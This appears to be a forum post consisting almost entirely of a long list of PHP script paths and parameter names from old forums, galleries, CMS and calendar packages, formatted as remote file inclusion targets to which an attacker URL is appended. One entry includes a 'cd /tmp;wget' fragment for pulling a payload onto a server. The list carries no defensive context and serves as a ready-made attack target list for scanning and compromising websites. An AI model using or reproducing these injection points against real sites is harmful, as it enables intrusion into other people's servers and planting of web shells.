infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=
phpdig/includes/config.php?relative_script_path=
includes/phpdig/includes/config.php?relative_script_path=
includes/dbal.php?eqdkp_root_path=
eqdkp/includes/dbal.php?eqdkp_root_path=
dkp/includes/dbal.php?eqdkp_root_path=
path/include/SQuery/gameSpy2.php?libpath=
include/global.php?GLOBALS[includeBit]=
topsites/config.php?returnpath=
manager/frontinc/prepend.php?_PX_config[manager_path]=
ubbthreads/addpost_newpoll.php?addpoll=thispath=
forum/addpost_newpoll.php?thispath=
forums/addpost_newpoll.php?thispath=
ubbthreads/ubbt.inc.php?thispath=
forums/ubbt.inc.php?thispath=
forum/ubbt.inc.php?thispath=
forum/admin/addentry.php?phpbb_root_path=
admin/addentry.php?phpbb_root_path=
index.php?f=
index.php?act=
ipchat.php?root_path=
includes/orderSuccess.inc.php?glob[rootDir]=
stats.php?dir[func]=dir[base]=
ladder/stats.php?dir[base]=
ladders/stats.php?dir[base]=
sphider/admin/configset.php?settings_dir=
admin/configset.php?settings_dir=
vwar/admin/admin.php?vwar_root=
modules/vwar/admin/admin.php?vwar_root=
modules/vWar_Account/includes/get_header.php?vwar_root=
modules/vWar_Account/includes/functions_common.php?vwar_root2=
sphider/admin/configset.php?settings_dir=
admin/configset.php?settings_dir=
impex/ImpExData.php?systempath=
forum/impex/ImpExData.php?systempath=
forums/impex/ImpExData.php?systempath=
application.php?base_path=
index.php?theme_path=
become_editor.php?theme_path=
add.php?theme_path=
bad_link.php?theme_path=
browse.php?theme_path=
detail.php?theme_path=
fav.php?theme_path=
get_rated.php?theme_path=
login.php?theme_path=
mailing_list.php?theme_path=
new.php?theme_path=
modify.php?theme_path=
pick.php?theme_path=
power_search.php?theme_path=
rating.php?theme_path=
register.php?theme_path=
review.php?theme_path=
rss.php?theme_path=
search.php?theme_path=
send_pwd.php?theme_path=
sendmail.php?theme_path=
tell_friend.php?theme_path=
top_rated.php?theme_path=
user_detail.php?theme_path=
user_search.php?theme_path=
invoice.php?base_path=
cgi-bin//classes/adodbt/sql.php?classes_dir=
cgi-bin/install/index.php?G_PATH=
cgi-bin/include/print_category.php?dir=
includes/class_template.php?quezza_root_path=
bazar/classified_right.php?language_dir=
classified_right.php?language_dir=
phpBazar/classified_right.php?language_dir=
chat/messagesL.php3?cmd=
phpMyChat/chat/messagesL.php3?cmd=
bbs/include/write.php?dir=
visitorupload.php?cmd=
modules/center/admin/accounts/process.php?module_path]=
index.php?template=
armygame.php?libpath=
lire.php?rub=
pathofhostadmin/?page=
apa_phpinclude.inc.php?apa_module_basedir=
index.php?req_path=
research/boards/encapsbb-0.3.2_fixed/index_header.php?root=
Farsi1/index.php?archive=
index.php?archive=
show_archives.php?template=
forum/include/common.php?pun_root=
pmwiki wiki/pmwiki-2.1.beta20/pmwiki.php?GLOBALS[FarmD]=
vuln.php?=
cgi-bin//include/write.php?dir=
admin/common.inc.php?basepath=
pm/lib.inc.php?sfx=
pm/lib.inc.php?pm_path=
artmedic-kleinanzeigen-path/index.php?id=
index.php?pagina=
osticket/include/main.php?include_dir=
include/main.php?config[search_disp]=include_dir=
phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=
quick_reply.php?phpbb_root_path=
zboard/include/write.php?dir=
PATH/admin/plog-admin-functions.php?configbasedir=
path_to_phpgreetz/content.php?content=
path_to_qnews/q-news.php?id=
_conf/core/common-tpl-vars.php?confdir=
votebox.php?VoteBoxPath=
al_initialize.php?alpath=
include/db.php?GLOBALS[rootdp]=
modules/news/archivednews.php?GLOBALS[language_home]=
protection.php?siteurl=
modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
index2.php?includes_dir=
classes.php?LOCAL_PATH=
extensions/moblog/moblog_lib.php?basedir=
modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=
phpWebLog/include/init.inc.php?G_PATH=
admin/objects.inc.php4?Server=
trg_news30/trgnews/install/article.php?dir=
block.php?Include=
arpuivo.php?data=
path_to_gallery/setup/index.php?GALLERY_BASEDIR=
include/help.php?base=
index.php?[Home]=
path_to_script/block.php?Include=
examples/phonebook.php?page=
PHPNews/auth.php?path=
include/print_category.php?dir=
skin/zero_vote/login.php?dir=
skin/zero_vote/setup.php?dir=
skin/zero_vote/ask_password.php?dir=
gui/include/sql.php?include_path=
webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=
email.php?login=cer_skin=
PhotoGal/ops/gals.php?news_file=
index.php?custom=
loginout.php?cutepath=
oneadmin/config.php?path[docroot]=
xcomic/initialize.php?xcomicRootPath=
skin/zero_vote/setup.php?dir=
skin/zero_vote/error.php? dir=
admin_modules/admin_module_captions.inc.php?config[path_src_include]=
admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=
admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=
admin_modules/admin_module_edit.inc.php?config[path_src_include]=
admin_modules/admin_module_delimage.inc.php?config[path_src_include]=
admin_modules/admin_module_deldir.inc.php?config[path_src_include]=
src/index_overview.inc.php?config[path_src_include]=
src/index_leftnavbar.inc.php?config[path_src_include]=
src/index_image.inc.php?config[path_src_include]=
src/image-gd.class.php?config[path_src_include]=
src/image.class.php?config[path_src_include]=
src/album.class.php?config[path_src_include]=
src/show_random.inc.php?config[path_src_include]=
src/main.inc.php?config[path_src_include]=
src/index_passwd-admin.inc.php?config[path_admin_include]=
yappa-ng/src/index_overview.inc.php?config[path_src_include]=
admin_modules/admin_module_captions.inc.php?config[path_src_include]=
admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=
admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=
admin_modules/admin_module_edit.inc.php?config[path_src_include]=
admin_modules/admin_module_delimage.inc.php?config[path_src_include]=
admin_modules/admin_module_deldir.inc.php?config[path_src_include]=
src/index_overview.inc.php?config[path_src_include]=
src/image-gd.class.php?config[path_src_include]=
src/image.class.php?config[image_module]=
src/album.class.php?config[path_src_include]=
src/show_random.inc.php?config[path_src_include]=
src/main.inc.php?config[path_src_include]=
includes/db_adodb.php?baseDir=
includes/db_connect.php?baseDir=
includes/session.php?baseDir=
modules/projects/gantt.php?dPconfig[root_dir]=
modules/projects/gantt2.php?dPconfig[root_dir]=
modules/projects/vw_files.php?dPconfig[root_dir]=
modules/admin/vw_usr_roles.php?baseDir=
modules/public/calendar.php?baseDir=
modules/public/date_format.php?baseDir=
modules/tasks/gantt.php?baseDir=
mantis/login_page.php?g_meta_include_file=
phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY=
modules/My_eGallery/public/displayCategory.php?basepath=
dotproject/modules/files/index_table.php?root_dir=
nukebrowser.php?filnavn=
bug_sponsorship_list_view_inc.php?t_core_path=
modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
modules/coppermine/themes/maze/theme.php?THEME_DIR=
modules/coppermine/include/init.inc.php?CPG_M_DIR=
includes/calendar.php?phpc_root_path=
includes/setup.php?phpc_root_path=
phpBB/admin/admin_styles.php?mode=
aMember/plugins/db/mysql/mysql.inc.php?config=
admin/lang.php?CMS_ADMIN_PAGE=
inc/pipe.php?HCL_path=
include/write.php?dir=
becommunity/community/index.php?pageurl=
modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
modules/mod_mainmenu.php?mosConfig_absolute_path=
modules/agendax/addevent.inc.php?agendax_path=
shoutbox/expanded.php?conf=
modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
index.php?page=
index.php?pag=
index.php?include=
index.php?content=
index.php?cont=
index.php?c=
modules/My_eGallery/index.php?basepath=
modules/newbb_plus/class/forumpollrenderer.php?bbPath=
journal.php?m=
index.php?m=
links.php?c=
forums.php?m=
list.php?c=
user.php?xoops_redirect=
index.php?id=
r.php?url=
CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]=
inc/formmail.inc.php?script_root=
include/init.inc.php?G_PATH=
backend/addons/links/index.php?PATH=
modules/newbb_plus/class/class.forumposts.php?bbPath[path]=
modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=
protection.php?siteurl=
htmltonuke.php?filnavn=
mail_autocheck.php?pm_path=
index.php?p=
modules/4nAlbum/public/displayCategory.php?basepath=
e107/e107_handlers/secure_img_render.php?p=
include/new-visitor.inc.php?lvc_include_dir=
path_of_cpcommerce/_functions.php?prefix=
community/modules/agendax/addevent.inc.php?agendax_path=
library/editor/editor.php?root=
library/lib.php?root=
zentrack/index.php?configFile=
pivot/modules/module_db.php?pivot_path=
main.php?x=
myPHPCalendar/admin.php?cal_dir=
index.php/main.php?x=
index.php?x=
index.php?open=
index.php?visualizar=
template.php?pagina=
index.php?inc=
includes/include_onde.php?include_file=
index.php?pg=
index.php?show=
index.php?cat=
print.php?val1=
cmd.php?function=
iframe.php?file=
os/pointer.php?url=
p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM=
index.php?file=
db.php?path_local=
phpGedView/individual.php?PGV_BASE_DIRECTORY=
index.php?kietu[url_hit]=
phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=
Sources/Packages.php?sourcedir=
yabbse/Sources/Packages.php?sourcedir=
modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=
cgi-bin//gadgets/Blog/BlogModel.php?path=
cgi-bin//admin.php?cal_dir=
gallery/captionator.php?GALLERY_BASEDIR=
cgi-bin/main.php?x=
Blog/BlogModel.php?path=
admin.php?cal_dir=
expanded.php?conf=
mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=
pollvote/pollvote.php?pollname=
displayCategory.php?basepath=
phpBB2/admin/admin_cash.php?phpbb_root_path=
modules/foro/includes/functions_admin.php?phpbb_root_path=
modules/Forums/admin/admin_forums.php?phpEx=
modules/Forums/admin/admin_disallow.php?phpEx=
modules/Forums/admin/admin_smilies.php?phpEx=
modules/Forums/admin/admin_board.php?phpEx=
modules/Forums/admin/admin_users.php?phpEx=
modules/Forums/admin/admin_mass_email.php?phpEx=
modules/Forums/admin/admin_forum_prune.php?phpEx=
modules/Forums/admin/admin_styles.php?phpbb_root_path=
index.php?hc=
mt-comments.cgi?id=
webcalendar/tools/send_reminders.php?includedir=
cmd/product_info.php/products_id/1622/shop_content.php?coID=
addevent.inc.php?agendax_path=
step_one.php?server_inc=
upgrade_album.php?GALLERY_BASEDIR=
search.php?cutepath=
modules.php?name=
wagora/extras//quicklist.php?site=
vCard/admin/define.inc.php?match=
forum/ubbthreads.php?Cat=
admin/includes/classes/spaw/spaw_control.class.php?spaw_root=
secure.php?cfgProgDir=
modules/My_eGallery/public//inc/?HCL_path=
modules/My_eGallery/public/imagen.php?basepath=
adlayer.php?layerstyle=
Forums/bb_smilies.php?name=
modules/Forums/bb_smilies.php?name=
gadgets/Blog/BlogModel.php?path=
learnlinc/clmcpreload.php?CLPATH=
modernbill/samples/news.php?DIR=
religions/faq.php?page=
forum/viewtopic.php?t=
announcements.php?includePath=
inc/header.php/step_one.php?server_inc=
phpatm/index.php?include_location=
gb/form.inc.php3?lang=
shannen/index.php?x=
family/phpgedview/index.php?PGV_BASE_DIRECTORY=
main.php?left=
forum/misc.php?action=
nucleus/libs/globalfunctions.php?DIR_LIBS=
show_archives.php?cutepath=
gallery.php=
magicforum/misc.php?action=
forum/admin/actions/del.php?include_path=
index.php?meio=
local/investing_industrialeastate1.php?a=
modules/coppermine/themes/default/theme.php?THEME_DIR
Popper/index.php?childwindow.inc.php?form=
class.mysql.php?path_to_bt_dir=
include/footer.inc.php?_AMLconfig[cfg_serverpath]=
eyeos/desktop.php?baccio=
ashnews.php?pathtoashnews=
index.php?modpath=
becommunity/community/index.php?pageurl=
index.php?sqld=
modules/module_db.php?pivot_path=
catalog/includes/include_once.php?include_file=
cgi-bin/calendar.pl?fromTemplate=
live/inc/pipe.php?HCL_path=
zb41/include/write.php?dir=
cgi-bin/awstats.pl?logfile=
presse/stampa.php3?azione=
inc/step_one_tables.php?server_inc=
index.php?mainpage=
phpprojekt/lib/authform.inc.php?path_pre=
captionator.php?GALLERY_BASEDIR=
_head.php?_zb_path=.example.com
achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=
gallery/captionator.php?GALLERY_BASEDIR=.example.com
globals.php3?LangCookie=.example.com
include/msql.php?inc_dir=
include/mssql7.php?inc_dir=
include/mysql.php?inc_dir=
include/oci8.php?inc_dir=
include/postgres.php?inc_dir=
include/postgres65.php?inc_dir=
install.php?phpbb_root_dir=
mantis/login_page.php?g_meta_inc_dir=
page.php?template=
phorum/admin/actions/del.php?include_path=
pollensondage.inc.php?app_path=
user/agora_user.php?inc_dir=
user/ldap_example.php?inc_dir=
userlist.php?ME=.example.com
_functions.php?prefix=
cpcommerce/_functions.php?prefix=
ashnews.php?pathtoashnews=cd /tmp;wget
eblog/blog.inc.php?xoopsConfig[xoops_url]=
b2-tools/gm-2-b2.php?b2inc=
includes/include_once.php?include_file=
modules.php?name=jokeid=
index.php?site=
livehelp/inc/pipe.php?HCL_path=
hcl/inc/pipe.php?HCL_path=
support/faq/inc/pipe.php?HCL_path=
help/faq/inc/pipe.php?HCL_path=
helpcenter/inc/pipe.php?HCL_path=
live-support/inc/pipe.php?HCL_path=
gnu3/index.php?doc=
gnu/index.php?doc=
phpgwapi/setup/tables_update.inc.php?appdir=
includes/calendar.php?phpc_root_path=
includes/setup.php?phpc_root_path=
inc/authform.inc.php?path_pre=
include/authform.inc.php?path_pre=
web_statistics/modules/coppermine/themes/default/theme.php?THEME_DIR=
web_statistics//tools/send_reminders.php?includedir=
web_statistics//include/write.php?dir=
web_statistics//modules/My_eGallery/public/displayCategory.php?basepath=
web_statistics//calendar/tools/send_reminders.php?includedir=
web_statistics//skin/zero_vote/error.php?dir=
web_statistics//coppercop/theme.php?THEME_DIR=
includes/header.php?systempath=
Gallery/displayCategory.php?basepath=
index.inc.php?PATH_Includes=
nphp/nphpd.php?nphp_config[LangFile]=
ashheadlines.php?pathtoashnews=
demo/includes/init.php?user_inc=
jaf/index.php?show=
inc/shows.inc.php?cutepath=
poll/admin/common.inc.php?base_path=
sources/post.php?fil_config=
bb_lib/checkdb.inc.php?libpach=
include/livre_include.php?chem_absolu=
index.php?pageurl=
derniers_commentaires.php?rep=
modules/coppermine/themes/default/theme.php?THEME_DIR=
coppermine/themes/maze/theme.php?THEME_DIR=
allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=
agendax/addevent.inc.php?agendax_path=
main.php?page=
default.php?page=
index.php?action=
index1.php?p=
index2.php?x=
index2.php?content=
index.php?conteudo=
GradeMap/index.php?page=
phpopenchat/contrib/yabbse/poc.php?sourcedir=
calendar/calendar.php?serverPath=
calendar/functions/popup.php?serverPath=
calendar/events/header.inc.php?serverPath=
calendar/events/datePicker.php?serverPath=
calendar/setup/setupSQL.php?serverPath=
calendar/setup/header.inc.php?serverPath=
install/index.php?G_PATH=
support/mailling/maillist/inc/initdb.php?absolute_path=
coppercop/theme.php?THEME_DIR=
dotproject/modules/projects/addedit.php?root_dir=
dotproject/modules/projects/view.php?root_dir=
dotproject/modules/projects/vw_files.php?root_dir=
dotproject/modules/tasks/addedit.php?root_dir=
dotproject/modules/tasks/viewgantt.php?root_dir=
My_eGallery/public/displayCategory.php?basepath=
index.php?meio.php=
index.php?configFile=
index.php?do=
phpshop/index.php?base_dir=
contacts.php?cal_dir=
convert-date.php?cal_dir=
album_portal.php?phpbb_root_path=
mainfile.php?MAIN_PATH=
html/affich.php?base=
gallery/init.php?HTTP_POST_VARS=
ideabox/include.php?gorumDir=
stats/modules/My_eGallery/index.php?basepath=
stats/include/write.php?dir=
stats/tools/send_reminders.php?includedir=
index.cgiupgrade_album.php?GALLERY_BASEDIR=
pollvote/pollvote.php?pollname
includes/page_header.php?dir=
index2.php?mosConfig_absolute_path=
new/bbs//include/write.php?dir=
index.php?mosConfig_absolute_path=
modules/My_eGallery/public/inc/?HCL_path=
/forum/auth/auth.php?phpbb_root_path=
/forum/auth/auth_phpbb/phpbb_root_path=
/cutenews/comments.php?cutepath=
/library/lib.php?root=
/impex/ImpExData.php?systempath=
/coppermine/thumbnails.php?lang=
/gallery/thumbnails.php?lang=
/aWebNews/visview.php?path_to_news=
/ashnews.php?pathtoashnews=
/4images/index.php?template=
/galeri/index.php?template=
/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=
/components/com_smf/smf.php?mosConfig_absolute_path=
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=
/components/com_simpleboard/image_upload.php?sbp=
/gallery/index.php?template=
/auth/auth.php?phpbb_root_path=
/auth/auth_phpbb/phpbb_root_path=
/modules/Forums/admin/index.php?phpbb_root_path=
/modules/Forums/admin/admin_avatar.php?phpbb_root_path=
/modules/Forums/admin/admin_styles.php?phpbb_root_path=
/_wk/wk_lang.php?wkPath=
/shoutbox/expanded.php?conf=
/myPHPCalendar/admin.php?cal_dir=
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=
/modules/Forums/admin/admin_board.php?phpEx=
/modules/Forums/admin/admin_users.php?phpEx=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/modules/My_eGallery/public/displayCategory.php?basepath=
/modules/My_eGallery/index.php?basepath=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/4nAlbum/public/displayCategory.php?basepath=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/modules/coppermine/themes/maze/theme.php?THEME_DIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/phpBB/admin/admin_styles.php?mode=
/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=
/index.php?page=
/index.php?pag=
/index.php?sayfa=
/index.php?pg=
/index.php?include=
/index.php?content=
/index.php?p=
/index.php?s=
/index.php?cont=
/index.php?c=
/journal.php?m=
/index.php?m=
/links.php?c=
/forums.php?m=
/list.php?c=
/journal.php?m=
/user.php?xoops_redirect=
/index.php?id=

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...